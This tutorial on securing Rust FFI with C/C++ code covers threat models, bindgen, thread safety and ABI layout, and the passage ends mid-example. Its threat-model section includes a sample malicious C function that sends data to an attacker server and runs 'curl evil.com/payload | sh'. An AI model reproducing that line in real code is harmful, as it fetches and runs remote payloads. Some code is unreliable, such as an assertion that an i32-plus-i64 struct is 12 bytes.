Rust FFI Security: Safe Interfacing with C/C++ Code (2026)
Learn to safely interface Rust with unsafe C/C++ code, handle FFI boundaries securely, and avoid common FFI security pitfalls.
Learn to safely interface Rust with C/C++ code using FFI. Understand security considerations, best practices, and how to maintain Rust’s safety guarantees while working with unsafe foreign code.
Key Takeaways
- FFI Fundamentals: Understand Rust FFI mechanisms
- Safety Boundaries: Maintain safety at FFI boundaries
- Error Handling: Handle FFI errors securely
- Memory Management: Safe memory handling across FFI
- Security Practices: Avoid common FFI security pitfalls
- Best Practices: Production-ready FFI patterns
Table of Contents
- Understanding FFI
- Calling C from Rust
- Safety Boundaries
- Memory Management
- Error Handling
- Security Best Practices
- Advanced Scenarios
- Troubleshooting Guide
- Real-World Case Study
- FAQ
- Conclusion
TL;DR
Safely interface Rust with C/C++ code using FFI. Learn to maintain safety boundaries, handle memory securely, and avoid common security pitfalls when working with foreign code.
Prerequisites
- Rust 1.80+ installed
- Understanding of Rust unsafe code
- Basic C programming knowledge
- Understanding of memory safety concepts
Safety and Legal
- Use FFI only when necessary
- Audit unsafe FFI code thoroughly
- Test FFI boundaries extensively
- Document FFI safety assumptions
Understanding FFI
Why FFI?
Common Use Cases:
- Using existing C/C++ libraries
- System APIs
- Performance-critical code
- Legacy code integration
Security Considerations:
- FFI bypasses Rust’s safety checks
- Must manually ensure safety
- Potential for memory safety issues
- Requires careful auditing
FFI Threat Model (Critical for Security Analysis)
Understanding what can go wrong from an attacker’s perspective
FFI is not just about writing safe code—it’s about defending against malicious or compromised foreign code. This threat model helps you think like an attacker.
Primary FFI Threats
| Threat | Description | Attack Vector | Impact |
|---|---|---|---|
| Malicious C Library | Intentionally malicious foreign code | Supply chain attack, compromised dependency | RCE, data exfiltration, privilege escalation |
| Compromised C Library | Legitimate library with injected malware | Build system compromise, backdoored release | Same as malicious |
| Unexpected Reentrancy | C code calls back into Rust unexpectedly | Callback during FFI call | Memory corruption, use-after-free |
| ABI Mismatches | Type size/layout differs between Rust/C | Version skew, platform differences | Memory corruption, crashes |
| Integer Truncation | Value truncated crossing FFI boundary | Large Rust value → small C type | Buffer overflow, logic bugs |
| Contract Violations | C code violates documented behavior | Buggy C implementation | Undefined behavior, crashes |
| Thread Safety Violations | C code not thread-safe as documented | Concurrent FFI calls | Data races, corruption |
Threat 1: Malicious or Compromised C Libraries
Scenario: You depend on a C library that gets compromised (supply chain attack).
Attack:
// Malicious C library code
int process_data(const char* data, size_t len) {
// ❌ Backdoor: Exfiltrate data
send_to_attacker_server(data, len);
// ❌ Backdoor: Execute arbitrary code
if (strcmp(data, "TRIGGER") == 0) {
system("curl evil.com/payload | sh");
}
return 0;
}
Rust can’t protect you:
extern "C" {
fn process_data(data: *const u8, len: usize) -> i32;
}
pub fn safe_process(data: &[u8]) -> Result<(), Error> {
unsafe {
// ✅ Rust wrapper is "safe"
// ❌ But C library is malicious!
let result = process_data(data.as_ptr(), data.len());
if result == 0 { Ok(()) } else { Err(Error::Failed) }
}
}
Defenses:
- ✅ Audit C library source code (if available)
- ✅ Use sandboxing (seccomp, pledge, landlock)
- ✅ Monitor network/syscalls at runtime
- ✅ Pin dependency versions and verify checksums
- ✅ Use supply chain security tools (sigstore, in-toto)
- ⚠️ Rust’s safety guarantees do NOT apply to C code
Threat 2: Unexpected Reentrancy
Scenario: C code calls back into Rust during an FFI call, violating assumptions.
Attack:
static mut GLOBAL_STATE: Vec<String> = Vec::new();
extern "C" fn rust_callback(data: *const u8, len: usize) {
unsafe {
// ❌ Modifies global state during callback
GLOBAL_STATE.push("callback".to_string());
}
}
extern "C" {
fn c_function_with_callback(cb: extern "C" fn(*const u8, usize));
}
pub fn process() {
unsafe {
// ❌ C code might call rust_callback multiple times
// ❌ Or call it recursively
// ❌ Or call it from different thread
c_function_with_callback(rust_callback);
// ❌ GLOBAL_STATE might be in inconsistent state
println!("{:?}", GLOBAL_STATE);
}
}
Attack vectors:
- Recursive callbacks (reentrancy)
- Callbacks from different threads
- Callbacks during Drop (use-after-free)
- Callbacks violating borrow rules
Defenses:
- ✅ Document reentrancy assumptions
- ✅ Use
RefCellto detect reentrancy at runtime - ✅ Avoid mutable global state in callbacks
- ✅ Use thread-local storage instead of globals
- ✅ Test with fuzzing and sanitizers
Example defense:
use std::cell::RefCell;
thread_local! {
static IN_CALLBACK: RefCell<bool> = RefCell::new(false);
}
extern "C" fn safe_callback(data: *const u8, len: usize) {
IN_CALLBACK.with(|in_cb| {
if *in_cb.borrow() {
panic!("Reentrancy detected!"); // Fail fast
}
*in_cb.borrow_mut() = true;
});
// Safe to process now
let slice = unsafe { std::slice::from_raw_parts(data, len) };
process_data(slice);
IN_CALLBACK.with(|in_cb| *in_cb.borrow_mut() = false);
}
Threat 3: ABI Mismatches
Scenario: Type sizes differ between Rust and C due to platform or version differences.
Attack:
// C header (32-bit system)
typedef struct {
int id; // 4 bytes
long value; // 4 bytes on 32-bit
} Data;
// Rust code (64-bit system)
#[repr(C)]
struct Data {
id: i32, // 4 bytes
value: i64, // ❌ 8 bytes! Mismatch!
}
// ❌ Memory corruption when passing Data across FFI
Attack vectors:
longsize varies (32-bit vs 64-bit)size_tvsusizeassumptions- Struct padding differences
- Enum representation differences
boolsize (1 byte in Rust, undefined in C)
Defenses:
- ✅ Use fixed-size types (
int32_t,uint64_t) - ✅ Use
#[repr(C)]for all FFI structs - ✅ Test on all target platforms
- ✅ Use
bindgento generate bindings (reduces errors) - ✅ Add compile-time size assertions
Example defense:
#[repr(C)]
struct Data {
id: i32,
value: i64,
}
// Compile-time assertion
const _: () = {
assert!(std::mem::size_of::<Data>() == 12); // 4 + 8
assert!(std::mem::align_of::<Data>() == 8);
};
Threat 4: Integer Truncation Across Boundaries
Scenario: Large Rust value truncated to smaller C type, causing overflow.
Attack:
extern "C" {
// C function expects 32-bit int
fn allocate_buffer(size: u32) -> *mut u8;
}
pub fn create_buffer(size: usize) -> Vec<u8> {
unsafe {
// ❌ Truncation: size might be > u32::MAX
let ptr = allocate_buffer(size as u32);
// ❌ If size=0x1_0000_0000, truncates to 0
// ❌ C allocates 0 bytes, Rust expects 4GB
Vec::from_raw_parts(ptr, size, size)
}
}
Attack vectors:
usize→u32truncation on 64-biti64→i32truncation- Negative values becoming large unsigned
- Overflow in size calculations
Defenses:
- ✅ Validate before casting
- ✅ Use
try_into()instead ofas - ✅ Add runtime checks for truncation
- ✅ Document maximum safe values
Example defense:
use std::convert::TryInto;
pub fn create_buffer(size: usize) -> Result<Vec<u8>, Error> {
// ✅ Explicit check for truncation
let size_u32: u32 = size.try_into()
.map_err(|_| Error::SizeTooLarge)?;
unsafe {
let ptr = allocate_buffer(size_u32);
if ptr.is_null() {
return Err(Error::AllocationFailed);
}
Ok(Vec::from_raw_parts(ptr, size, size))
}
}
Threat 5: C Code Violating Documented Contracts
Scenario: C library doesn’t follow its own documentation.
Attack:
// Documentation says: "Returns non-null pointer or NULL on error"
// Actual behavior: Sometimes returns invalid pointer (0xdeadbeef)
void* allocate(size_t size) {
if (size == 0) return NULL;
if (size > MAX_SIZE) return (void*)0xdeadbeef; // ❌ Invalid!
return malloc(size);
}
extern "C" {
fn allocate(size: usize) -> *mut u8;
}
pub fn safe_allocate(size: usize) -> Option<Vec<u8>> {
unsafe {
let ptr = allocate(size);
if ptr.is_null() {
None
} else {
// ❌ Assumes non-null = valid
// ❌ But C returned 0xdeadbeef!
Some(Vec::from_raw_parts(ptr, size, size))
}
}
}
Attack vectors:
- Returning invalid (but non-null) pointers
- Modifying “const” data
- Not being thread-safe despite documentation
- Calling callbacks unexpectedly
- Memory leaks despite “free” documentation
Defenses:
- ✅ Don’t trust C documentation—verify with testing
- ✅ Add runtime checks beyond null checks
- ✅ Use sanitizers (ASan, MSan, UBSan)
- ✅ Fuzz FFI boundaries extensively
- ✅ Audit C source code if possible
- ✅ Add defensive checks even if “unnecessary”
Threat 6: Thread Safety Violations
Scenario: C library claims thread-safety but isn’t actually safe.
Attack:
// Documentation: "Thread-safe"
// Reality: Uses global state without locks
static int global_counter = 0;
int increment() {
return ++global_counter; // ❌ Data race!
}
extern "C" {
fn increment() -> i32;
}
// ❌ Marked as safe for Send/Sync based on docs
pub struct Counter;
unsafe impl Send for Counter {}
unsafe impl Sync for Counter {}
impl Counter {
pub fn increment(&self) -> i32 {
unsafe { increment() }
// ❌ Data race in C code!
}
}
Attack vectors:
- Global state without synchronization
- Non-reentrant functions called concurrently
- Callbacks invoked on unexpected threads
- Signal handlers causing reentrancy
Defenses:
- ✅ Test with ThreadSanitizer (TSan)
- ✅ Don’t trust “thread-safe” claims—verify
- ✅ Add Rust-side synchronization as defense
- ✅ Document thread-safety assumptions
- ✅ Use
!Send/!Syncwhen uncertain
Defense-in-Depth Strategy
Layer 1: Minimize FFI Surface
- Use FFI only when absolutely necessary
- Prefer pure Rust alternatives
- Isolate FFI to specific modules
Layer 2: Input Validation
- Validate all inputs before FFI calls
- Check sizes, ranges, null bytes
- Sanitize strings and buffers
Layer 3: Output Validation
- Validate all outputs from FFI
- Check pointers, sizes, error codes
- Verify invariants after FFI calls
Layer 4: Sandboxing
- Run FFI code in sandboxed process
- Use seccomp/pledge/landlock
- Limit syscalls and resources
Layer 5: Runtime Monitoring
- Use sanitizers (ASan, MSan, UBSan, TSan)
- Monitor for unexpected behavior
- Log FFI calls for auditing
Layer 6: Testing
- Fuzz FFI boundaries
- Test with invalid inputs
- Test concurrent access
- Test on all platforms
Key Takeaways
FFI Threat Model Summary:
- Malicious C code - Rust can’t protect you (use sandboxing)
- Reentrancy - Callbacks can violate assumptions (detect at runtime)
- ABI mismatches - Types must match exactly (use
bindgen, test on all platforms) - Integer truncation - Validate before casting (use
try_into()) - Contract violations - Don’t trust C docs (verify with testing/sanitizers)
- Thread safety - C “thread-safe” may be false (test with TSan)
Security Rule: Assume all C code is potentially malicious. Validate everything, trust nothing, and use defense-in-depth.
Calling C from Rust
Using bindgen for Safer Bindings (Recommended)
⚠️ Manual FFI declarations are error-prone. Use bindgen to auto-generate bindings.
Why bindgen?
- ✅ Automatically generates correct
#[repr(C)]structs - ✅ Handles platform-specific types correctly
- ✅ Reduces human error (typos, wrong types, missing fields)
- ✅ Updates automatically when C headers change
- ⚠️ Still generates
unsafecode (you must wrap it safely)
Setup:
Add to Cargo.toml:
[build-dependencies]
bindgen = "0.69"
Create build.rs:
use std::env;
use std::path::PathBuf;
fn main() {
// Tell cargo to invalidate the built crate whenever the wrapper changes
println!("cargo:rerun-if-changed=wrapper.h");
// Tell cargo to link the C library
println!("cargo:rustc-link-lib=mylib");
// Generate bindings
let bindings = bindgen::Builder::default()
.header("wrapper.h")
.parse_callbacks(Box::new(bindgen::CargoCallbacks))
.generate()
.expect("Unable to generate bindings");
// Write bindings to $OUT_DIR/bindings.rs
let out_path = PathBuf::from(env::var("OUT_DIR").unwrap());
bindings
.write_to_file(out_path.join("bindings.rs"))
.expect("Couldn't write bindings!");
}
Use generated bindings:
// Include generated bindings
#![allow(non_upper_case_globals)]
#![allow(non_camel_case_types)]
#![allow(non_snake_case)]
include!(concat!(env!("OUT_DIR"), "/bindings.rs"));
// ⚠️ Generated bindings are unsafe - wrap them!
pub fn safe_add(a: i32, b: i32) -> i32 {
unsafe { add(a, b) }
}
bindgen Risks:
Even with bindgen, you must:
- ❌ Still generates
unsafecode - You must wrap it safely - ❌ Doesn’t validate C code behavior - C bugs still exist
- ❌ Doesn’t add runtime checks - You must validate inputs
- ❌ Doesn’t prevent ABI mismatches - Test on all platforms
- ✅ Reduces type errors - But doesn’t eliminate all FFI risks
Key Takeaway: bindgen reduces errors but doesn’t make FFI safe. You still need wrappers, validation, and sanitizers.
Manual FFI Declarations (Not Recommended)
⚠️ Only use manual declarations if bindgen is not an option.
Create wrapper.h:
Click to view C code
#ifndef WRAPPER_H
#define WRAPPER_H
int add(int a, int b);
#endif
Create wrapper.c:
Click to view C code
#include "wrapper.h"
int add(int a, int b) {
return a + b;
}
Rust code (manual declaration):
Click to view Rust code
use std::os::raw::c_int;
// ⚠️ Manual declaration - error-prone!
extern "C" {
fn add(a: c_int, b: c_int) -> c_int;
}
fn safe_add(a: i32, b: i32) -> i32 {
unsafe { add(a, b) }
}
fn main() {
let result = safe_add(5, 3);
println!("Result: {}", result);
}
Build Configuration
build.rs:
Click to view Rust code
fn main() {
cc::Build::new()
.file("src/wrapper.c")
.compile("wrapper");
}
Using cbindgen for Safer C Headers (Calling Rust from C)
If you’re exposing Rust code to C, use cbindgen to generate headers.
Why cbindgen?
- ✅ Generates C headers from Rust code
- ✅ Ensures C declarations match Rust exactly
- ✅ Reduces manual header maintenance
- ✅ Prevents ABI mismatches
Setup:
cargo install cbindgen
Create cbindgen.toml:
language = "C"
include_guard = "MY_LIB_H"
autogen_warning = "/* Warning, this file is autogenerated by cbindgen. Don't modify this manually. */"
Rust code:
#[repr(C)]
pub struct Point {
pub x: f64,
pub y: f64,
}
#[no_mangle]
pub extern "C" fn create_point(x: f64, y: f64) -> Point {
Point { x, y }
}
#[no_mangle]
pub extern "C" fn distance(p1: Point, p2: Point) -> f64 {
let dx = p1.x - p2.x;
let dy = p1.y - p2.y;
(dx * dx + dy * dy).sqrt()
}
Generate header:
cbindgen --config cbindgen.toml --crate my-crate --output my_lib.h
Generated my_lib.h:
/* Warning, this file is autogenerated by cbindgen. Don't modify this manually. */
#ifndef MY_LIB_H
#define MY_LIB_H
typedef struct Point {
double x;
double y;
} Point;
Point create_point(double x, double y);
double distance(Point p1, Point p2);
#endif /* MY_LIB_H */
Benefits:
- C header always matches Rust code
- No manual synchronization needed
- Reduces ABI mismatch risk
Safety Boundaries
Wrapping Unsafe Code
Click to view Rust code
use std::ffi::CString;
use std::os::raw::c_char;
extern "C" {
fn process_string(s: *const c_char) -> i32;
}
pub fn safe_process_string(input: &str) -> Result<i32, String> {
let c_string = CString::new(input)
.map_err(|e| format!("Invalid string: {}", e))?;
unsafe {
let result = process_string(c_string.as_ptr());
if result < 0 {
Err("Processing failed".to_string())
} else {
Ok(result)
}
}
}
Memory Management
Safe Memory Handling
Click to view Rust code
use std::ffi::{CString, CStr};
use std::os::raw::c_char;
extern "C" {
fn allocate_string() -> *mut c_char;
fn free_string(ptr: *mut c_char);
}
pub struct SafeString {
ptr: *mut c_char,
}
impl SafeString {
pub fn new() -> Result<Self, String> {
let ptr = unsafe { allocate_string() };
if ptr.is_null() {
Err("Allocation failed".to_string())
} else {
Ok(SafeString { ptr })
}
}
pub fn as_str(&self) -> Result<&str, std::str::Utf8Error> {
unsafe {
CStr::from_ptr(self.ptr).to_str()
}
}
}
impl Drop for SafeString {
fn drop(&mut self) {
unsafe {
free_string(self.ptr);
}
}
}
Error Handling
Converting C Errors
Click to view Rust code
use std::os::raw::c_int;
extern "C" {
fn c_function() -> c_int;
}
#[derive(Debug)]
enum FFIError {
Failure,
InvalidInput,
}
impl From<c_int> for FFIError {
fn from(code: c_int) -> Self {
match code {
-1 => FFIError::Failure,
-2 => FFIError::InvalidInput,
_ => FFIError::Failure,
}
}
}
pub fn safe_function() -> Result<(), FFIError> {
let result = unsafe { c_function() };
if result == 0 {
Ok(())
} else {
Err(result.into())
}
}
Security Best Practices
Input Validation
Click to view Rust code
pub fn safe_call_with_validation(input: &str) -> Result<(), String> {
// Validate before FFI call
if input.len() > 1024 {
return Err("Input too long".to_string());
}
// Check for null bytes
if input.contains('\0') {
return Err("Input contains null bytes".to_string());
}
let c_string = CString::new(input)?;
unsafe {
// Safe to call after validation
foreign_function(c_string.as_ptr());
}
Ok(())
}
Bounds Checking
Click to view Rust code
extern "C" {
fn get_array_element(arr: *const i32, index: usize) -> i32;
}
pub fn safe_get_element(arr: &[i32], index: usize) -> Option<i32> {
// Bounds check before FFI call
if index >= arr.len() {
return None;
}
unsafe {
Some(get_array_element(arr.as_ptr(), index))
}
}
Thread Safety & Reentrancy in FFI (Critical Production Risk)
This is a major source of bugs in production security tools and EDR agents.
Understanding Thread Safety in FFI
The Problem:
C libraries often have unclear or incorrect thread-safety documentation. Rust’s Send and Sync traits assume correct behavior, but FFI breaks these guarantees.
| C Library Claims | Reality | Risk |
|---|---|---|
| ”Thread-safe” | Uses global state without locks | Data races |
| ”Reentrant” | Has hidden static variables | Corruption |
| ”No documentation” | Unknown safety | Assume unsafe |
| ”Single-threaded only” | Clear limitation | Must enforce |
When to Mark FFI Wrappers Send / Sync
Decision Matrix:
| Scenario | Send | Sync | Reasoning |
|---|---|---|---|
| C library is thread-safe | ✅ Yes | ✅ Yes | Safe to share and send |
| C library uses thread-local storage | ✅ Yes | ❌ No | Can send, but not share |
| C library has global mutable state | ❌ No | ❌ No | Not thread-safe |
| C library unknown thread-safety | ❌ No | ❌ No | Assume unsafe |
| Wrapper adds Rust-side locking | ✅ Yes | ✅ Yes | Rust ensures safety |
Example 1: Thread-Safe C Library
// C library is documented as thread-safe
extern "C" {
fn thread_safe_function(data: *const u8, len: usize) -> i32;
}
pub struct ThreadSafeWrapper {
// No internal state
}
// ✅ Safe because C library is thread-safe
unsafe impl Send for ThreadSafeWrapper {}
unsafe impl Sync for ThreadSafeWrapper {}
impl ThreadSafeWrapper {
pub fn call(&self, data: &[u8]) -> i32 {
unsafe {
thread_safe_function(data.as_ptr(), data.len())
}
}
}
Example 2: NOT Thread-Safe C Library
// C library uses global state (not thread-safe)
extern "C" {
fn not_thread_safe_function(data: *const u8) -> i32;
}
pub struct NotThreadSafeWrapper {
_marker: std::marker::PhantomData<*const ()>,
}
// ❌ Explicitly NOT Send/Sync
// (PhantomData<*const ()> makes it !Send + !Sync)
impl NotThreadSafeWrapper {
pub fn call(&self, data: &[u8]) -> i32 {
unsafe {
not_thread_safe_function(data.as_ptr())
}
}
}
// Compiler prevents this:
// fn use_in_thread(wrapper: NotThreadSafeWrapper) {
// std::thread::spawn(move || {
// wrapper.call(&[1, 2, 3]); // ❌ Error: NotThreadSafeWrapper is !Send
// });
// }
Example 3: Add Rust-Side Locking
use std::sync::Mutex;
// C library is NOT thread-safe, but we add locking
extern "C" {
fn unsafe_c_function(data: *const u8, len: usize) -> i32;
}
pub struct LockedWrapper {
lock: Mutex<()>,
}
// ✅ Safe because Rust adds synchronization
unsafe impl Send for LockedWrapper {}
unsafe impl Sync for LockedWrapper {}
impl LockedWrapper {
pub fn new() -> Self {
Self {
lock: Mutex::new(()),
}
}
pub fn call(&self, data: &[u8]) -> i32 {
let _guard = self.lock.lock().unwrap();
unsafe {
// Only one thread can execute this at a time
unsafe_c_function(data.as_ptr(), data.len())
}
}
}
Reentrancy Risks in Callbacks
The Problem:
C code might call Rust callbacks in unexpected ways:
- Recursively (callback calls function that triggers callback again)
- From signal handlers
- From different threads
- During object destruction
Example Attack:
use std::cell::RefCell;
thread_local! {
static COUNTER: RefCell<u32> = RefCell::new(0);
}
extern "C" fn callback(value: u32) {
COUNTER.with(|c| {
let mut count = c.borrow_mut();
*count += value;
// ❌ If C code calls this recursively, this panics!
// (Already borrowed mutably)
});
}
extern "C" {
fn register_callback(cb: extern "C" fn(u32));
fn trigger_callback();
}
pub fn setup() {
unsafe {
register_callback(callback);
trigger_callback(); // Might call callback recursively!
}
}
Defense: Detect Reentrancy
use std::cell::Cell;
thread_local! {
static IN_CALLBACK: Cell<bool> = Cell::new(false);
}
extern "C" fn safe_callback(value: u32) {
// ✅ Detect reentrancy
if IN_CALLBACK.with(|c| c.get()) {
eprintln!("ERROR: Reentrant callback detected!");
return; // Or panic, depending on severity
}
IN_CALLBACK.with(|c| c.set(true));
// Safe to process now
process_value(value);
IN_CALLBACK.with(|c| c.set(false));
}
Callbacks on Foreign Threads
The Problem:
C code might invoke callbacks from threads it created, not Rust threads.
Example:
// C library creates its own thread
void* worker_thread(void* arg) {
callback_fn cb = (callback_fn)arg;
cb(42); // ❌ Calling Rust callback from C thread!
return NULL;
}
void start_worker(callback_fn cb) {
pthread_t thread;
pthread_create(&thread, NULL, worker_thread, (void*)cb);
}
extern "C" fn callback(value: u32) {
// ❌ This might be called from a C thread!
// ❌ Rust thread-local storage won't work
// ❌ Panics might not unwind correctly
println!("Value: {}", value);
}
extern "C" {
fn start_worker(cb: extern "C" fn(u32));
}
pub fn setup() {
unsafe {
start_worker(callback);
}
}
Defense: Document and Test
/// # Safety
///
/// This callback may be invoked from foreign (C) threads.
/// - Do NOT use thread-local storage
/// - Do NOT panic (may not unwind correctly)
/// - Do NOT assume Rust thread context
///
/// # Thread Safety
///
/// This callback is thread-safe and can be called concurrently
/// from multiple threads.
extern "C" fn thread_safe_callback(value: u32) {
// ✅ Use only thread-safe operations
// ✅ No thread-local storage
// ✅ No panics
if let Err(e) = process_value_safe(value) {
eprintln!("Callback error: {}", e);
// Don't panic!
}
}
Documenting Thread-Safety Assumptions
Template for FFI wrapper documentation:
/// Wrapper for C library `libfoo`.
///
/// # Thread Safety
///
/// - **Send**: Yes - Can be transferred between threads
/// - **Sync**: No - Cannot be shared between threads (uses global state)
///
/// # C Library Thread Safety
///
/// The underlying C library (`libfoo`) is NOT thread-safe:
/// - Uses global mutable state without locking
/// - Not reentrant
/// - Must not be called concurrently
///
/// # Rust Wrapper Safety
///
/// This wrapper does NOT add synchronization. Users must ensure:
/// - Only one thread calls methods at a time
/// - Or use external synchronization (Mutex, etc.)
///
/// # Callbacks
///
/// Callbacks registered with this library:
/// - Are invoked on the same thread that calls `process()`
/// - Are NOT reentrant (will not be called recursively)
/// - May be called multiple times per `process()` call
pub struct FooWrapper {
_marker: std::marker::PhantomData<*const ()>, // !Send + !Sync
}
Testing Thread Safety
1. Test with ThreadSanitizer (TSan):
# Enable ThreadSanitizer
export RUSTFLAGS="-Z sanitizer=thread"
# Run tests
cargo +nightly test --target x86_64-unknown-linux-gnu
# TSan will detect data races in C code
2. Stress test with multiple threads:
#[test]
fn test_concurrent_access() {
let wrapper = Arc::new(LockedWrapper::new());
let mut handles = vec![];
for _ in 0..100 {
let wrapper = wrapper.clone();
handles.push(std::thread::spawn(move || {
for _ in 0..1000 {
wrapper.call(&[1, 2, 3]);
}
}));
}
for handle in handles {
handle.join().unwrap();
}
}
3. Test for reentrancy:
#[test]
#[should_panic(expected = "Reentrant callback")]
fn test_reentrancy_detection() {
setup_callback_that_triggers_recursion();
trigger(); // Should panic if reentrant
}
Key Takeaways
Thread Safety Rules:
- Default to
!Sendand!Syncunless you’re certain - Document thread-safety assumptions explicitly
- Test with ThreadSanitizer to catch races
- Add Rust-side locking if C library isn’t thread-safe
- Detect reentrancy in callbacks with guards
- Never panic in callbacks from foreign threads
Reentrancy Rules:
- Assume callbacks can be reentrant unless documented otherwise
- Use reentrancy guards to detect violations
- Avoid mutable global state in callbacks
- Test for recursive calls explicitly
Production Rule: For security tools and EDR agents, thread safety bugs in FFI are the #1 cause of crashes and data corruption. Test exhaustively.
ABI & Struct Layout Risks (Subtle Memory Corruption)
These bugs are silent, platform-specific, and extremely hard to debug.
The ABI Problem
ABI (Application Binary Interface) defines how data is laid out in memory and passed between functions. Rust and C must agree exactly, or memory corruption occurs.
Risk 1: #[repr(C)] is MANDATORY
The Problem:
Rust’s default struct layout is undefined and can change between compiler versions.
// ❌ BAD: Default Rust layout
struct Data {
id: u32,
value: u64,
}
// Rust might layout as:
// - id (4 bytes) + padding (4 bytes) + value (8 bytes) = 16 bytes
// OR
// - value (8 bytes) + id (4 bytes) + padding (4 bytes) = 16 bytes
// OR
// - Reordered completely!
extern "C" {
fn process_data(data: *const Data); // ❌ Undefined behavior!
}
Solution:
// ✅ GOOD: Explicit C layout
#[repr(C)]
struct Data {
id: u32,
value: u64,
}
// Now guaranteed to match C:
// struct Data {
// uint32_t id;
// uint64_t value;
// };
Risk 2: Padding and Alignment
The Problem:
Compilers add padding to align fields, and this padding must match between Rust and C.
// C struct
struct Packet {
uint8_t version; // 1 byte
// 3 bytes padding
uint32_t length; // 4 bytes
uint64_t timestamp; // 8 bytes
}; // Total: 16 bytes
#[repr(C)]
struct Packet {
version: u8, // 1 byte
// ❌ Rust adds 3 bytes padding (implicit)
length: u32, // 4 bytes
timestamp: u64, // 8 bytes
} // Total: 16 bytes ✅ Matches!
// But if you forget #[repr(C)]:
struct Packet {
version: u8, // 1 byte
length: u32, // 4 bytes
timestamp: u64, // 8 bytes
} // ❌ Might be 13 bytes (no padding) or reordered!
Compile-Time Verification:
#[repr(C)]
struct Packet {
version: u8,
length: u32,
timestamp: u64,
}
// ✅ Compile-time size assertion
const _: () = {
assert!(std::mem::size_of::<Packet>() == 16);
assert!(std::mem::align_of::<Packet>() == 8);
};
// ✅ Compile-time offset assertions
const _: () = {
use std::mem::offset_of;
assert!(offset_of!(Packet, version) == 0);
assert!(offset_of!(Packet, length) == 4);
assert!(offset_of!(Packet, timestamp) == 8);
};
Risk 3: Platform-Specific Type Sizes
The Problem:
Some C types have different sizes on different platforms.
| C Type | 32-bit | 64-bit | Rust Equivalent |
|---|---|---|---|
int | 4 bytes | 4 bytes | c_int (NOT i32 always!) |
long | 4 bytes | 8 bytes | c_long (NOT i64!) |
size_t | 4 bytes | 8 bytes | usize ✅ |
pointer | 4 bytes | 8 bytes | *const T ✅ |
❌ Bad Example:
// ❌ Assumes long is always 64-bit
#[repr(C)]
struct Data {
id: i32,
value: i64, // ❌ Wrong! Should be c_long
}
extern "C" {
fn process(data: *const Data);
}
✅ Good Example:
use std::os::raw::{c_int, c_long};
// ✅ Uses platform-specific types
#[repr(C)]
struct Data {
id: c_int,
value: c_long, // ✅ Correct on all platforms
}
extern "C" {
fn process(data: *const Data);
}
Risk 4: Version Skew Between Headers and Binaries
The Problem:
You compile against one version of C headers, but link against a different version of the library.
Scenario:
// libfoo v1.0 header
struct Config {
int version;
int flags;
}; // 8 bytes
// libfoo v2.0 header (ABI break!)
struct Config {
int version;
int flags;
int new_field; // ❌ Added field!
}; // 12 bytes
// Rust code compiled against v1.0 header
#[repr(C)]
struct Config {
version: c_int,
flags: c_int,
} // 8 bytes
extern "C" {
fn init_config(cfg: *mut Config);
}
// ❌ If linked against v2.0 library:
// - C code expects 12 bytes
// - Rust provides 8 bytes
// - Memory corruption!
Defenses:
- Pin library versions:
[dependencies]
libfoo-sys = "=1.0.5" # Exact version
- Runtime version checks:
extern "C" {
fn get_library_version() -> c_int;
}
pub fn init() -> Result<(), Error> {
let version = unsafe { get_library_version() };
if version != EXPECTED_VERSION {
return Err(Error::VersionMismatch);
}
Ok(())
}
- Use
bindgento generate bindings:
# Generates Rust bindings from C headers
bindgen wrapper.h -o bindings.rs
Risk 5: bool and char ABI Mismatches
The Problem:
bool and char have platform-specific representations.
bool Mismatch:
// C99 bool (stdbool.h)
bool is_valid(int x); // Returns 0 or 1 (1 byte)
// ❌ BAD: Rust bool is not guaranteed to match C bool
extern "C" {
fn is_valid(x: c_int) -> bool; // ❌ Might be wrong!
}
// ✅ GOOD: Use u8 and convert
extern "C" {
fn is_valid(x: c_int) -> u8; // ✅ Safe
}
pub fn safe_is_valid(x: i32) -> bool {
unsafe { is_valid(x) != 0 }
}
char Mismatch:
// C char (might be signed or unsigned!)
char get_byte(); // Returns -128 to 127 OR 0 to 255
use std::os::raw::c_char;
// ✅ Use c_char (platform-specific)
extern "C" {
fn get_byte() -> c_char;
}
// Or use u8/i8 explicitly:
extern "C" {
fn get_byte() -> u8; // ✅ If you know it's unsigned
}
Comprehensive ABI Checklist
Before shipping FFI code:
- All FFI structs use
#[repr(C)] - Compile-time size assertions added
- Compile-time alignment assertions added
- Compile-time offset assertions added (if critical)
- Platform-specific types use
c_int,c_long, etc. -
boolhandled explicitly (useu8orc_int) -
charhandled explicitly (usec_charoru8/i8) - Library version checked at runtime
- Tested on all target platforms (32-bit, 64-bit, ARM, etc.)
- Used
bindgento generate bindings (reduces errors)
Testing for ABI Issues
1. Test on multiple platforms:
# Test on 32-bit and 64-bit
cargo test --target i686-unknown-linux-gnu
cargo test --target x86_64-unknown-linux-gnu
cargo test --target aarch64-unknown-linux-gnu
2. Use MemorySanitizer (MSan):
# Detects uninitialized memory (padding issues)
export RUSTFLAGS="-Z sanitizer=memory"
cargo +nightly test --target x86_64-unknown-linux-gnu
3. Fuzz FFI boundaries:
fuzz_target!(|data: &[u8]| {
if data.len() >= std::mem::size_of::<Packet>() {
let packet: Packet = unsafe {
std::ptr::read(data.as_ptr() as *const Packet)
};
let _ = process_packet(&packet);
}
});
Key Takeaways
ABI Rules:
- Always use
#[repr(C)]for FFI structs - Add compile-time assertions for size/alignment
- Use platform-specific types (
c_int,c_long) - Handle
boolandcharexplicitly (useu8/c_char) - Test on all platforms (32-bit, 64-bit, ARM)
- Use
bindgento generate bindings (reduces errors)
Critical Rule: ABI mismatches cause silent memory corruption. They won’t crash immediately—they’ll corrupt data and crash later, making debugging nearly impossible.
Advanced Scenarios
Scenario 1: Callback Functions with Ownership Rules
Click to view Rust code
use std::ffi::c_void;
type Callback = extern "C" fn(data: *const u8, len: usize, user_data: *mut c_void);
extern "C" {
fn register_callback(cb: Callback, user_data: *mut c_void);
}
// ✅ Safe callback wrapper with proper ownership
extern "C" fn rust_callback(data: *const u8, len: usize, user_data: *mut c_void) {
// ⚠️ OWNERSHIP RULES:
// 1. data pointer is borrowed (C owns it, don't free)
// 2. user_data is owned by us (we passed it in register_callback)
// 3. Don't panic (might not unwind correctly from C)
let slice = unsafe {
// ✅ Borrow data (C owns it)
std::slice::from_raw_parts(data, len)
};
let state = unsafe {
// ✅ Borrow user_data (we own it, but C is calling us)
&mut *(user_data as *mut CallbackState)
};
// Process data safely
state.process(slice);
}
struct CallbackState {
counter: usize,
}
impl CallbackState {
fn process(&mut self, data: &[u8]) {
self.counter += data.len();
}
}
pub fn setup_callback() {
let mut state = Box::new(CallbackState { counter: 0 });
